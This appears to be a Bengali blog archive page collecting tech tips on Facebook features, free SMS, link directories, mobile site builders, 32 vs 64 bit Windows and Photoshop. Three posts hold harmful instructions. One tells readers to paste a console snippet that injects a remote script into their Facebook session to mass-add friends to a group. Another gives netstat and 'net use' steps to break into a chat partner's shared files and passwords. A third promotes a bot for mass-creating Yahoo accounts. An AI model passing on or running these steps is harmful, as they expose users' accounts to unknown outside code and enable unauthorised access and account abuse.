M.A.A. NAFISH PEEZON. Blogger দ্বারা পরিচালিত.
ইন্টারনেট লেবেলটি সহ পোস্টগুলি দেখানো হচ্ছে৷ সকল পোস্ট দেখান
ইন্টারনেট লেবেলটি সহ পোস্টগুলি দেখানো হচ্ছে৷ সকল পোস্ট দেখান

ফেসবুক গ্রুপে যত খুশি তত বন্ধু যোগ করুন

আপনি যদি ফায়ার ফক্স ব্যবহার করে থাকেন তাহলে আমাদের একটু সাহায্য করুন। আপনি চাইলেই পারেন যে কোন গ্রুপের মেম্বার সহজেই বাড়াতে। আপনার নিজস্ব কোন গ্রুপ থাকতেই পারে, হয়তো অনেক কষ্ট অরেও আপনি খুব বেশি হলে ২০০০-৩০০০ মেম্বার একত্রিত করতে পেরেছেন। কিন্তু এখন আর সেই কষ্ট করতে হবে নাহ। আমি নিয়ে এলাম আপনাদের জন্য Auto Bot Friend Adder, ইহা শুধু মাত্রই ফায়ারফক্স ব্যবহারকারীদের জন্য, যেহেতু আমি নিজে মজিলা ফায়ারফক্স ব্যবহার করি। আপনার সব বন্ধুকে যে কোন ফেসবুক গ্রুপে এ্যাড করতে নিম্নোক্ত পদক্ষেপ গ্রহণ করুনঃ-
  • প্রথমেই আপনি যে গ্রুপে আপনার সব বন্ধুকে একত্রে যুক্ত করতে চান মজিলা ফায়ারফক্স ব্যবহার করে সেই গ্রুপে যান !
  • এবার কীবোর্ডে Ctrl + Shift + K চাপুন । দেখবেন একটা ড্রপ ডাউন মেনু আসবে, এখানে জাভা স্ক্রিপ্ট লিখে আপনি অনেক কিছুই করতেপারেন। তবে আজ আপনাদের কে আমি কিভাবে আপনার সব ফ্রেন্ড একটি গ্রুপে ঢুকাবেন তা দেখাবো ।
  • এইবার নিম্নোক্ত জাভা স্ক্রিপ্টটি Copy করুন। Select and (Ctrl+C) -->>>
 
javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/4/4/7/4/4474196/bappi.js';})();
 
  • ড্রপ ডাউন মেনুতে যেখানে জাভা স্ক্রিপ্ট লেখার জন্য একটা কারসার ব্লিঙ্ক করছে সেখানে সম্পূর্ণ কোডটি পেস্ট করে দিন, এবার Enter চাপুন , আপনার সব বন্ধু আপনার গ্রুপে এ্যাড না হয়ে যাওয়া পর্যন্ত অপেক্ষা করুন।
এভাবে আপনার ঘনিষ্ট সব বন্ধুদের বলুন, তারাও আপনাকে আপনার গ্রুপে বন্ধু যোগ করতে সাহায্য করবে।

আপনার ফেইসবুক অ্যাকাউন্টের নিরাপত্তা দেবে বিশ্বস্ত বন্ধুরা!

undefined
সোস্যাল নেটওয়ার্কিং এর যুদ্ধে এগিয়ে থাকতে নিত্যনতুন সুবিধা যোগ করছে ফেইসবুক। ইদানিং যে আপডেট গুলো আসছে ফেইসবুকে তার সবচেয়ে নতুন সংস্করণ হচ্ছে বিশ্বস্ত বন্ধুদের সাহায্যে হ্যাক হওয়া একাউন্ট উদ্ধার করার পদ্ধতি। আপনার বিশ্বস্ত বন্ধুরা এবার এগিয়ে আসবে আপনার অ্যাকাউন্টের নিরাপত্তায়। অনেকের হয়তো এই সুবিধা এখনো সংযোজিত হয়নি কারণ এখনো বেটা টেস্টিং চলছে। তবে, একাউন্ট এর নিরাপত্তার খাতিরে সেলুলার সার্ভিস টা যেমন গুরুত্বপূর্ণ, এই সুবিধা টাও সেরকম গুরুত্বপূর্ণ একটি সংযোজন।
facebook trusted friends

হ্যাক হওয়া অ্যাকাউন্ট ফিরিয়ে আনুন আপনার বিশ্বস্ত বন্ধুদের সাহায্যেঃ

বিশ্বস্ত বন্ধুর সাহায্য নিয়ে একাউন্ট রিকভারি করা হচ্ছে সবচেয়ে নতুন আপডেট একাউন্টের নিরাপত্তার জন্য। আপনার কাছের ৩-৫ জন কে আপনি যদি বাছাই করুন বিশ্বস্ত বন্ধু হিসেবে তবে কোনভাবে যদি আপনার একাউন্ট হ্যাক হয়, অথবা আপনি পাসওয়ার্ড ভুলে যান তবে সেই বন্ধুদের কাছে ফেইসবুক অথরিটি প্রয়োজনীয় ব্যবস্থা গ্রহণের উপায় এবং করণীয় এর বিবরণী পাঠাবে।
সার্ভিস টি চালু করার জন্য Account Settings –> Security –> Trusted Friends এ গিয়ে ৩-৫ জন কাছের বন্ধু কে অ্যাড করে রাখুন। তবে মনে রাখবেন, এখনো বেটা টেষ্টিং এ আছে। তাই অপশন টি না পেলে চিন্তা করার কিছু নেই, কয়দিন পরেই হয়তো পাবেন।
একবার চালু করার পরে, যদি কখনো কোন কারণে আপনার একাউন্টে আর লগ ইন না করতে পারেন, তবে ফেইসবুক ইন্টারফেইস এক কাছের বন্ধুদের কাছে সিকিউরিটি কোড পাঠাবে যা আপনি লগ ইন করার জন্য ব্যবহার করবেন। এবং সঠিক কোড দিলে সর্বোচ্চ ২৪ ঘন্টা লাগতে পারে একাউন্ট এর রিকভারী করার জন্য। হয়তো ২৪ ঘন্টা একটু বেশি সময় মনে হতে পারে, কিন্তু একাউন্ট হারানোর মত বাজে তো আর নয়।

SMS করুন পুরোপুরি ফ্রি, যে-কোনো দেশে যত খুশি তত!

বন্ধুরা কী খবর সবার? ভালো নিশ্চয়! ঈদ কেমন হলো? আশা করি ভালোই। এই টিউনটি ঈদের আগে করতে পারলে নিশ্চয়ই ভালো হতো। কারণ ঈদের সময় অনেকেই প্রচুর SMS করেছেন। আর সেসব SMS যদি বিনামূল্যে করা যেতো তাহলে কত ভালোই না হতো! কিন্তু এই ঈদই তো শেষ ঈদ নয়। সামনেই রয়েছে পবিত্র ঈদুল আজহা। আর মাত্র মাস দুয়েক বাকি। তখনই কাজে লাগবে এই লিঙ্কটি। সংগ্রহে রাখুন। শেয়ার করুন বন্ধুদের সঙ্গে। অবশ্য এতোদিনে হয়তো আপানাদের অনেকেই এই সাইটের খোঁজ পেয়েছেন। আমিও বেশকিছু দিন আগেই পেয়েছিলাম। কিন্তু সময়াভাবে শেয়ার করা হয়নি। থাক বন্ধুরা আর কথা বাড়িয়ে লাভ নেই। সরাসরি চলে যান এই লিঙ্কে। এই লিঙ্কে (http://www.allmedialink.com/free-sms/) গেলে এমন একটি পেজ আসবে। স্ক্রিনশট দিলাম।
এরপর লেখা দেখবেন ‘please click here for details’। এখানে ক্লিক করলেই আপনি চলে যাবেন মূল পেজে। ব্যস কাজ শেষ! যে পেজটি আসবে সেটিরও স্ক্রিনশট দিলাম। তাহলে আর দেরি কেন? শুরু হয়ে যাক এখনই। মনে রাখবেন আপনি সর্বোচ্চ ১৩০ ক্যারেক্টার পর্যন্ত লিখতে পারবেন। এর বেশি লিখলে এসএমএসটি কিন্তু যাবে না!
টিউনার পেজ কয়েকদিন ধরে ডিস্টার্ব করছে কেন বুঝতে পারছি না। আমি কোনো লেখা লিখে পারছি না। ফন্ট কালার সাদা দেখাচ্ছে। লিঙ্কও যুক্ত করতে পারছি না। এই লেখাটা অন্য জায়গায় লিখে এখোনে পেস্ট করলাম। আপানার কিছু জানেন কী?

একটি ফেসবুক পেজের আত্নকাহিনী – লাইকে দে, কমেন্ট দে!!!

ফেসবুক বিপ্লবে দেশ ভেসে যাওয়ার মতো অবস্হা, নানা ধরনের বিপ্লব, ভাষা সংক্ষেপের বিপ্লব, e-বাংলিস নামে নতুন ভাষা চালু (নোবেলের আবেদন করা যায় না), অলিতে-গলিতে ফেসবুক পেজ (সেগুলোর নাম FDC-র বাংলা ছবির চেয়েও নিকৃষ্ট), তবে সবাই একটা জিনিসই চায় -

লাইক দে, কমেন্ট দে

নীচে এ রকম একটা পেজের কিছু চিত্র তুলে দিলাম ।
*** আচ্ছা ভাই, লাইক কি দেশে বিক্রি করা যায়? বা ডলার কামানোর কোন ব্যবস্হা আছে?
আমার খুব জানতে ইচ্ছা করে এরা এই লাইক দিয়ে কি করে?
Click on Image for Larger Size










ফেসবুক বিপ্লবে দেশ ভেসে যাওয়ার মতো অবস্হা, নানা ধরনের বিপ্লব, ভাষা সংক্ষেপের বিপ্লব, e-বাংলিস নামে নতুন ভাষা চালু (নোবেলের আবেদন করা যায় না), অলিতে-গলিতে ফেসবুক পেজ (সেগুলোর নাম FDC-র বাংলা ছবির চেয়েও নিকৃষ্ট), তবে সবাই একটা জিনিসই চায় -
লাইক দে, কমেন্ট দে
নীচে এ রকম একটা পেজের কিছু চিত্র তুলে দিলাম ।
*** আচ্ছা ভাই, লাইক কি দেশে বিক্রি করা যায়? বা ডলার কামানোর কোন ব্যবস্হা আছে?
আমার খুব জানতে ইচ্ছা করে এরা এই লাইক দিয়ে কি করে?

অন্যের কম্পউটারে প্রবেশ করে দেেখ নিন সব ফাইল এবং সকল কিছুর pass word

ইয়াহু তে কারো সাথে চ্যাট করার সময় তার কম্পিউটারে আপনি প্রবেশ করতে পারবেন
যদি আপনি আমার এই ছোট লেখাকে সঠিক ভাবে ব্যাবহার করেন।
প্রথমে আপনাকে জানতে হবে যার সাথে আপনি কানেক্ট আছেন তার সঠিক আইপি
তো শুরু করি
কম্পিউটারের রান অপশনে গিয়ে কমান্ড এ গিয়ে টাইপ করুন
cmd
netstat (এন্টার চাপুন)
এবার এখানে আপনার সাথে কানেক্ট থাকা সকল আইপি দেখাবে
বিদেশী আইপি এর শেষ টা হবে ৫০৫০
এবার লিখুন
net use:h\\(এবার ঐ ব্যাক্তির আইপি )\shareddocs (এন্টার)
অপেক্ষা করুন একটি মেসেজ পাবেন
যদি আপনি সফল হোন তবে আপনার মাই কম্পিউটারে আরো একটি বাড়তি ড্রাইভ যোগ হবে
আর না পারলে ফেইল মেসেজ পাবেন
কারন তার পিসিতে পাসওয়ার্ড অথবা আইপি চেষ্জার থাকতে পারে যাতে আপনি সঠিক আইপি পাবেন না
যদি এটা কাজ করে তবে দায়িত্ব্য ভার আপনার
যদি আপনি সফল হইয়া কারো ক্ষতি করেন তবে আমি দায়ি নই

অন্যের মোবাইলে বা কম্পিউটারে ফেসবুক লগআউট করতে ভুলে গেলে যা করবেন !!!

 
এই পোস্ট টা ফেসবুক এর সিকিউরিটি নিয়ে ।
যারা বিষয়টি জানেন না , তাদের এটা জানা আকান্ত জরুরি ।
কোন কোন সময় এমন হয় যে, কোন সাইবার ক্যাফের কম্পিউটার বা অন্য কার কম্পিউটারে ফেসবুক লগইন করেছেন কিন্তু আসার সময় বিদ্যুৎ চলে গেছে বা আপনি লগ আউট করতে ভুলে গেছেন বা কারো মোবাইল থেকে ফেসবুক লগইন করেছেন লগ আউট করতে ভুলে গেছেন। এটা একটি বিশাল বিপদ। এখন যে কেউ ওই কম্পিউটার বা মোবাইল দিয়ে আপনার ফেসবুক আক্সেস করতে পারবে । এখন আপনি কি করবেন ? আবার ওই কম্পিউটার বা মোবাইল এ গিয়ে লগ আউট করে আসবেন !! নাহ, ফেসবুক সিকিউরিটি এর দউলতে এটা আপনাকে করতে হবে না । আপনি আপনার কম্পিউটার বা মোবাইল থেকেই ঐ কম্পিউটার বা মোবাইল এর ফেসবুক লগ আউট করতে পারবেন।
এজন্য যা করতে হবে দেখে নিন ……
১. প্রথমে আপানার PC থেকে ফেসবুক এ লগইন করুন।
২. এবার Account Setting এ যান।
৩. তারপর Security অপশনে Active Sessions এ ক্লিক করুন
৪. এখন Current Session   এ আপনার চলতি PC এর তথ্য দেখাবে আর Also Active এ শিরোনামে লগইন সক্রিয় আছে এমন কম্পিউটারের সময়, ডিভাইসের নাম, কোন শহর, আইপি কত, কোন ব্রাউজার, কোন অপারেটিং সিস্টেম তা দেখাবে।
৫. এবার ঐ আগের কম্পিউটার লগ আউট করতে End Activity ক্লিক করুন তাহলেই Computer থেকে লগ আউট হয়ে যাবে।
বিঃদ্রঃ অন্যের মোবাইল বা কম্পিউটার দিয়ে ফেসবুক এ লগইন করার সময় কখনই “Keep me login” এ ক্লিক করবেন না । আর , পাসওয়ার্ড ও সেভ করবেন না ।
আশা করি উপকারে আসবে ।
কেমন লাগলো কমেন্ট করে জানাবেন ।

প্রয়োজনীয় সাইট এর লিঙ্ক

আজকে আপনাদের জন্য নিয়ে এলাম বিশাল এক ডিরেক্টরি, অর্থাৎ এক সাথে অনেক প্রয়োজনীয় সাইট এর লিঙ্কঃ
পেচাল না পাইরা লিঙ্ক গুলা দিয়া দিলাম :p

অনলাইন সংবাদপত্রঃ

বাংলা অনলাইন রেডিওসমূহঃ

শিক্ষাসেবাসমূহ:

জরুরী স্বাস্থ্য/রোগ বিষয়ক সাইট:

মুক্তিযুদ্ধভিত্তিক সাইট:

দেশী চাকরীর (বিজ্ঞাপন) সাইট

বাংলাবই ডাউনলোড

Download Audio-Video/Movie/Drama

জরুরী প্রতিষ্ঠান/ওয়েবসাইট/ঠিকানা/লিঙ্কসমূহ

শেয়ার বাজার

বাংলা টিভিচ্যানেল সাইট


বাংলাফন্ট/কনভার্রটার//টুলবার ও ইমেইল-ফ্যাক্স

বাংলাদেশ সংবিধান

কিভাবে wap বা মোবাইলের জন্য ওয়েবসাইট তৈরী করবেন…

মোবাইল ওয়েবসাইটগুলো বিশেষভাবে ডিজাইন করা হয় মোবাইল ফোনের মত ডিভাইসে দেখানোর জন্য। আপনি সম্পূর্ন নতুন ওয়েবসাইট বানাতে পারেন আবার আপনার যে নিজস্ব ওয়েবসাইটটি আছে সেটিকে মোবাইল ওয়েবে দেখানোর ব্যবস্হা করতে পারেন। এজন্য কিছু মোবাইল ওয়েবসাইট বিল্ডার আছে যেগুলো আপনাকে এই কাজে সাহায্য করবে। নীচে সংক্ষেপে এগুলো আলোচনা করা হল:
১. মোবিসাইটগ্লোরি: এটা ওয়েব নির্ভর একটা মোবাইল ওয়েবসাইট বিল্ডার যা একজন নতুন ইউজারকেও দ্রুত ও সহজেই একটা ফুলফিচার্ড ওয়েবসাইট বানাতে সাহায্য করবে। মোবিসাইটগ্লোরির মাধ্যমে ইউজাররা কোনরকম টেকনিক্যাল নলেজ ছাড়াই, ওয়েবসাইট তৈরীর কোন পূর্ব অভিজ্ঞতা ছাড়া মোবাইল ওয়েবসাইট বানাতে পারবে। সবচেয়ে বড় কথা হল এ জন্য তাকে কোন সফটওয়্যার ডাউনলোড বা ইন্স্টল করতে হবেনা। মোবিসাইটগ্লোরি ইউজারদের পেপাল, গুগল চেকআউট ও বেঙ্গোর মাধ্যমে মোবাইল কমার্সের সুযোগ দেয়। এটি ইউজারদের তাদের সাইটের ট্রাফিক পর্যবেক্ষণের সুযোগ দেয় গুগল এডসেন্সের সহায়তায়।
২. ওয়্যারনোড: এটা একটা মোবাইল ওয়েবসাইট বানানোর টুলস। ওয়্যারনোডের সাহায্যে ইউজার যে কোন ওয়েবসাইটকে ৫ মিনিটের মধ্যেই মোবাইল ভার্সনে পরিনত করতে পারে। ইউজারকে শুধু আরএসএস ফিড নির্বাচন করে প্লাগিনের মতো ইউজ করে নাম পরিবর্তন করে পাবলিস করে দিতে হবে। এটা ব্যবহার করে আপনি অনেকগুলো পেজের সাইট তৈরী করতে পারবেন, ছবি সেট করতে পারবেন, গুগল থেকে সার্চ দিয়ে ছবি নিয়েও সাইটে লাগাতে পারবেন, টেবিল অফ কন্টেন্ট ও সাধারণ টাইপের উইডগেট সেট করতে পারবেন আপনার সাইটে।
৩. মাস্টারিং গ্রেইলস: এটা আধুনিক ওয়েব ডেভেলাপমেন্ট ফ্রেমওয়ার্ক যা জাভা টেকনোলজির সাথে যুক্ত। মাস্টারিং গ্রেইলস দিয়েও মোবাইল ওয়েবসাইট তৈরী করা সম্ভব।
৪. টিউটোরিয়াল: এটা আপনাকে বলে দিবে কিভাবে ৫ মিনিটের মধ্যেই মোবাইল ওয়েবসাইট বানাবেন বা আপনার ওয়েবসাইট, ব্লগ বা ফোরামটিকে ডব্লিউএপি সাইটে রূপান্তরিত করবেন।
৫. ওয়াপেল কেনভাস টিএম জেস্ট: এটা একটা মোবাইল ওয়েবসাইট বানানোর টুল যা ৩১শে মার্চ ২০০৮ এ উন্মোক্ত করা হয় সবার জন্য। ওয়াপেল কেনভাস টিএম জেস্ট ব্যবসায়ী, মোবাইল কমার্স, মোবাইল স্টোর, খবর, তথ্য আদান প্রদান এবং মোবাইল এডভার্টইজমেন্টের জন্য উপযোগী।
এবার আপনি পছন্দসই যে কোন একটির সাহায্যে আপনার মোবাইল ওয়েবসাইট তৈরী করতে পারবেন খুব সহজেই। undefined

জেনে নিন ৩২ বিট আর ৬৪ বিট এর পার্থক্যসমূহ :)

1 300x270 জেনে নিন ৩২ বিট আর ৬৪ বিট এর পার্থক্যসমূহ
কম্পিউটার যারা ব্যবহার করেন তারা নিশ্চয় ৩২ বিট আর ৬৪ বিটের নাম শুনেছেন। ৩২ বিট আর ৬৪ বিট এর জন্য আলাদা আলাদা প্রসেসর, অপারেটিং সিস্টেম, সফটওয়ার, আর ড্রাইভার আছে। তবে নতুনদের মধ্যে অনেকেই জানেন না এই ৩২ বিট আর ৬৪ বিট কি। এদের মধ্যে পার্থক্য কি, কি জন্য ব্যবহার করা হয় বা নিজের কম্পিউটারটি কত বিটের তা কিভাবে চেক করবেন তাও অনেকের অজানা। এটি নিয়েই আমার পোষ্টটি লেখা। এখানে প্রশ্নগুলোর উত্তর দেয়ার চেস্টা করছি।
৩২ বিট আর ৬৪ বিট এ পার্থক্য কিঃ
১। ৩২ বিট এর চেয়ে ৬৪ বিটে উইন্ডোজের নিরাপত্তা ব্যবস্থা বেশি, বিশেষ করে Kernel Patch Protectionঅনেক বেশি শক্তিশালী হয় ৬৪ বিটে। Kernel হল প্রসেসর, হার্ডওযার, ডিভাইস ড্রাইভার এর সাথে অন্যান্য সফটওয়ারের সমন্বয় রক্ষা করে চলার একটি পদ্ধতি যার উপর ভিত্তি করে অপারেটিংস সিস্টেম তৈরি হয়। একেক অপারেটিং সিস্টেমে একেক ধরনের Kernel ব্যবস্থা ব্যবহার করা হয়।
 ২। ৬৪ বিট উইন্ডোজে ডিজিটাল সাইন ছাড়া ড্রাইভার ইন্সটল করা যায় না। ডিজিটাল সাইনটা এক প্রকার কোম্পানির সীলের মত। যখন ঐ সফটওয়ারটাকে ভাইরাস আক্রমন করে বা এর মধ্যে কোন পরিবর্তন হয় তখন ডিজিটাল সাইনটি পরিবর্তিত হয়ে যায় যাকে হিসেবে উইন্ডোজ ধরে নেয়। ৩২ বিটেও ডিজিটাল সাইন ছাড়া ড্রাইভার ইন্সটল না করার অপশন আছে তবে এটি ডিফল্ট সেটিংস নয়। কিন্তু ৬৪বিটে উইন্ডোজ Digital Sign Broken কে অনুমোদন করে না।
৩। ৬৪ বিট প্রসেসরে ৬৪ বিট এবং ৩২ বিট দুই ধরনের উন্ডোজই (অপারেটিং সিস্টেম) ব্যবহার করা যায়। তবে ৩২ বিট প্রসেসরে শুধু মাত্র ৩২ বিট উন্ডোজই ব্যবহার করা যায়। সুতরাং ৬৪বিট উইন্ডোজ ব্যবহার করতে চায়লে ৬৪বিট প্রসেসরই লাগবে।
 ৪। ৬৪বিট উইন্ডোজে কিছু কিছু ৩২বিটের সফওয়ার, আর ড্রাইভার রান করা গেলেও অনেক সময় সমস্যা দেখা দেয়, সঠিকভাবে কাজ করে না। তবে ৩২বিট উইন্ডোজে ৬৪বিট সফটওয়ার বা ড্রাইভার কোনটাই কাজ করে না। অর্থাৎ সঠিকভাবে কাজ করার জন্য ৬৪বিটের জন্য ৬৪বিটের সফটওয়ার আর ড্রাইভার যেমন দরকার তেমন ৩২ বিটের জন্যও ৩২বিটের সফটওয়ার আর ড্রাইভার দরকার। আবার ১৬বিট প্রোগ্রামগুলো ৩২বিটে কাজ করলেও ৬৪বিটে কাজ করে না। ৬৪ বিটের প্রোগ্রামগুলো ৩২বিটের চেয়ে পারফরমেন্স ভাল দেখায়। যেমন ক্রাশ করা বা এরকম অন্যান্য সমস্যাগুলো থেকে ৬৪বিট প্রোগ্রামগুলো মুক্ত বললেই চলে।
 ৫। ৬৪বিট প্রসেসর সাধারণত x64 এবং ৩২বিট প্রসেসর সাধারণত x86 গতিতে চলে।
 ৬। ৩২ বিটের জন্য সাধারণত 512MB থেকে 4 GB পর্যন্ত RAM Recommend করা হয় যেখানে ৬৪বিটের জন্য 4 GB recommend করা হয়। এর চেয়ে কম হলেও চলে। RAM
সবচেয়ে বড় ব্যাপার হল 4 GB এর উপর RAM ব্যবহার করতে চায়লে অবশ্যই ৬৪বিট প্রসেসর আর উইন্ডোজ ব্যবহার করতে হবে। কারণ ৩২ বিটে 4 GB এর উপর RAM ব্যবহার করা হলেও তা ব্যবহৃত হয় না। এমনকি অনেক সময় সর্বোচ্চ 3 GB পর্যন্ত ব্যবহৃত হয়ে বাকিগুলো RAM অব্যবহৃত থেকে যায় কারণ হার্ডওয়ার সাপোর্ট করে না। অন্যদিকে ৬৪বিটে 1GB থেকে 128GB এর চেয়ে বেশি RAM সাপোর্ট করে। যদিও এখনো 128GB RAM ব্যবহারের রেকর্ড শুনা যায়নি। তবে ব্যবস্থাটা রাখা হয়েছে।
যে সব কাজের জন্য বেশি RAM প্রয়োজন তার জন্য ৬৪বিটের বিকল্প নেই। যেমন হলিউডের যে ফিল্মগুলো তৈরি করা হয় তাতে সব ৬৪বিটের প্রোগ্রামগুলোই ব্যবহার করা হয়। তেমনি 3D, High powerful Graphics আর Multimedia’র জন্য ৬৪বিট একমাত্র সমাধান।
আশাকরি কারো মনে আর এই প্রশ্ন থাকবে না যে -৩২বিট আর ৬৪বিটে পার্থক্য কি বা ৩২বিট নাকি ৬৪বিট কোনটা ভাল।
আপনার পিসিটি ৩২ বিট নাকি ৬৪ বিট?
আগেই বলেছি ৬৪বিট অপারেটিং সিস্টেম আর প্রোগ্রাম ব্যবহার করার জন্য ৬৪বিট প্রসেসরই ব্যবহার করতে হয়। তবে ৬৪বিট প্রসেসর থাকলেও আপনি ৩২বিট অপারেটিং সিস্টেম আর প্রোগ্রাম ব্যবহার করতে পারেন। তাই প্রশ্ন জাগে নিজের অপারেটিং সিস্টেমটি ৩২ বিট নাকি ৬৪ বিট। এটা বলা যায় আমরা সাধারণত ৩২বিটই ব্যবহার করে থাকি। কারণ আমরা মনেকরি ৬৪বিট আর ৩২বিট একই। তাই আমাদের বাজারে যা পাওয়া যায় তার বেশির ভাগই ৩২বিট।আপনারটি চেক করার জন্য My Computer>Properties>General এ যান যাকে আমরা My Computer Properties বা System Properties বলে থাকি। ওখানে আপনি দেখবেন আপনি কোন অপারেটিং সিস্টেম ব্যবহার করেন, কত ভার্সন এবং তা কত বিটের। আপনর পিসি কত র‍্যাম ব্যবহার করছে তাও ওখানে দেখতে পাবেন। যদি বিট দেখতে না পান তাহলে বুঝে নেবেন আপনি ৩২বিটই ব্যবহার করছেন। ৬৪ হলে তা অবশ্যই প্রদর্শিত হবে। কিন্তু ৩২বিট হলে তা ভার্সনভেধে প্রদর্শিত নাও হতে পারে।

এবার ইয়াহুকে হ্যাক করে ইচ্ছামত আইডি তৈরি করুন সহজেই (প্রতিটি মাত্র ৫ সেকেন্ডে)

hack yahoo password t1 এবার ইয়াহুকে হ্যাক করে ইচ্ছামত আইডি তৈরি করুন সহজেই (প্রতিটি মাত্র ৫ সেকেন্ডে)
ইয়াহু নি:সন্দেহে একটি ভাল ইমেইল সেবা দাতা প্রতিষ্ঠান। যদিও আমি পার্সনালি ইয়াহুর বিরুদ্ধে। কিন্তু অনেকের মতে বিশেষ করে যারা ইয়াহু মেসেঞ্জার ব্যবহার করে তাদের কাছে ইয়াহুর গুনগান অনেক শুনতে পাওয়া যায়। অনেকেই অনেক কাজে বিভিন্ন ইয়াহু আইডি ব্যবহার করে থাকে। কেনইবা নয়, এ সেবাটি যে ফ্রিতে। তবে আইডি তৈরি করা একটা খুবই বোরিং কাজ। তাই আপনাদের জন্য আজ এমন একটি হ্যাকিং সফটওয়্যার দিচ্ছি যেটির মাধ্যমে আপনি খুব সহজেই (সাধারণত প্রতিটি আইডি তৈরি হতে সময় নেয় ৫ সেকেন্ড!!!) ইয়াহু আইডি তৈরি করতে পারবেন, তাও আবার যত খুশি তত। এজন্য নিচের লিঙ্ক হতে সফটওয়্যারটি ডাউনলোড করে নিন।
তারপর ফাইলটি আনজিপ করে Register.bat ফাইলটিতে ডাবল ক্লিক করে রেজিষ্টার করে নিন। IR ID maker.exe নামক সফটওয়্যারটি রান করে প্রয়োজনীয় তথ্য লিখে দিন। এবার কোনায় থাকা Start বাটনে ক্লিক করে ক্যাপচা এন্ট্রি করে Create বাটনে ক্লিক করলেই আপনার ইয়াহু আইডি তৈরি হয়ে যাবে এবং Created Bots নামক বক্সে দেখা যাবে। চাইলে আপনি Random Bot ও Random Information এ টিক চিহ্ন দিয়ে এলোমেলো তথ্য ব্যবহার করে ইয়াহু আইডি তৈরি করতে পারবেন। যতবার ক্যাপচা এন্ট্রি করে Create বাটনে ক্লিক করবেন ততগুলো ইয়াহু আইডি তৈরি হবে। ভয় নেই আপনার তৈরিকৃত ইয়াহু আইডিগুলো পাসওয়ার্ড সহকারে মূল ফোল্ডারের Created Bots নামক ফাইলের মধ্যে পাবেন।
operation :
  • Decide which type of name you would like to cerate. The choices are Random, Sequential, None or Dictionary.
    1. Random – This creates a username from completely random characters.The character set is lower, upper, and numbers. An option is given for the minimum and maximum length for the username.
    2. Sequential – This method takes a base username and then adds an incremented number to the end of it. The Sequential Start is the number that will initially be added to the end of the chosen username. The Sequential Increment is how much the number will be increased between names.
    3. None – Only the username typed will be created.
    4. Dictionary – This is a method that I created myself. It polls a website and asks for two random dictionary words. It then mixes them with random numbers and a few other variables. I use this when signing up for third party websites that notice sequential names. This is the least reliable method and produces many more name collisions.
  • Decide if you want random passwords. The default is random and can be found at the bottom of the Name Options.
  • Decide if you want random user information. The default is random and can be found at the bottom of the Sign-Up Information.
  • Select your server. The default is India but you can also choose the UK or US server. You will only get 10-20 names per server.
  • Decide if you want to have a batch creation. The default is yes. This tells YCC Bot Maker to go ahead and process the next name automatically.
  • Click Process and wait for the CAPTCHA to appear.
  • Type the CAPTCHA into the Submit field and then click Submit.
  • Wait for the next name if batch processing is enabled.
  • Repeat steps 6 through 8. If you get Protocol Error then you have hit the limit for the server. Select another server and continue.
ব্যবহার করে দেখুন কি মজার ও কাজের সফটওয়্যার এটি।

নিয়ে নিন আপনার জন্য একটি ভিন্ন ধরনের ই-মেইল এড্রেস


undefinedআজ আপনাদের জন্য নিয়ে এসেছি দারুন মজার একটা জিনিস। সেটা হচ্ছে একটি ভিন্ন ধরনের ই-মেইল সেবা। আমরা সবাই জিমেইল, ইয়াহু, হটমেইল ইত্যাদি কোম্পানীর ইমেইল সেবা ব্যবহার করে থাকি। কিন্তু আমরা সবাই মনে মনে ভাবি যে যদি ভিন্ন ধরনের ইমেইল ডোমেইন সেবা ব্যবহার করা যেত তাহলে অন্যের কাছে ঈর্শার একটা ব্যাপার হতে পারত। ঠিক সেই জন্যই আমার আজকের এই পোস্ট। তাহলে চলুন চলে যাই
এবার মনে করুন আপনি একজন আইনজীবি। তাহলে আপনি আপনার ইমেইল এড্রেস myname@lawyer.com এভাবে দিতে চাচ্ছেন। তাহলে এই সাইটে Sign up now এ ক্লিক করে পরের স্টেপে Personal Information অংশে প্রয়োজনীয় ডাটা টাইপ করুন। এবার Check availability অংশে আপনার ইমেইল এর প্রথম অংশটি টাইপ করে @ এর পরের অংশে ক্লিক করে যে কোন একটি ডোমেইন সিলেক্ট করুন। তারপর Check availability তে ক্লিক করে দেখুন আপনার ইমেইল এড্রেসটি এভেইলেভল কিনা। এখন Define your password অংশে আপনার পাসওয়ার্ড ও In case you forget your password অংশে আপনার অন্য ইমেইল ও সিকিউরিটি কোয়েশ্চেন এবং আন্সার ঠিক করে দিন। তারপর Verify your Registration অংশে ক্যাপচাটি টাইপ করে I accept, create my account এ ক্লিক করলেই আপনার একাউন্টটি তৈরি হয়ে যাবে।

আপনার ছবিতে দারুন কালার ইফেক্ট দিন অল্প সময়ে

আজ আমি আপনাদের কে কিছু নতুন চমক দিচ্ছি -
আশা করব ভালো লাগবে -
আপনারা ফটোশপের ছোট্ট একটি টিউটোরিয়াল দেখে পারবেন , যা দিয়ে আপনি আপনার ছবিকে অসাধারণ রুপ দিতে পারবেন।
ছবির উপরে কালার ইফেক্ট একদম সোজা।
undefined

undefined
তো আর দেরি নয় এখনি শুরু করি –
প্রথমে ফটোশপে নতুন একটি ছবি ওপেন করুণ।
(আমি আপনাদের দেখানোর জন্য নিচের ছবি টি ওপেন করলাম)।
undefined
এবার তাহলে ফটোশপের মেনুবার থেকে Image > Adjustments > Color Balance (বা কিবোর্ড থেকে CTRL+B) ক্লিক করুণ
এবং
নিচের চিত্র অনুযায়ী কালার নিয়ন্ত্রণ করুণ।
দেখুন পারবেন-
undefined

undefined

undefined
কি সহজ না । চেষ্টা করুন পেরে যাবেন -
এবার আপনি আপনার ছবিটিকে
ঠিকি এমনি নিচের মত দেখতে পারবেন।
কি তা কি দেখাচ্ছে – আশা করব –
undefined
এবার নতুন একটি লেয়ার তৈরি করুণ
এবং সেই লেয়ার এ নিচের মত করে Gradient দিন বা নিচের চিত্রটি সেভ করে নতুন লেয়ার উপরে দিন।
undefinedঠিক এমনি -
ব্যছ
এবার লেয়ার মেন্যু থেকে Overlay এবং Opacity ৫৫% রেখে দিন। কাজে লেগে যাবে -
এবার দেখুন আপনার ছবিটি কি সুন্দর রুপ নিয়েছে!
নিচ্চই  ঠিক ভাবে কাজ হচ্ছে ।
কোন সমস্যা হলে জানাবেন ।
ধন্যবাদ ।।

পাসওয়ার্ড ছাড়া ইমেল ঠিকানা!

প্রিয় বন্ধুরা,
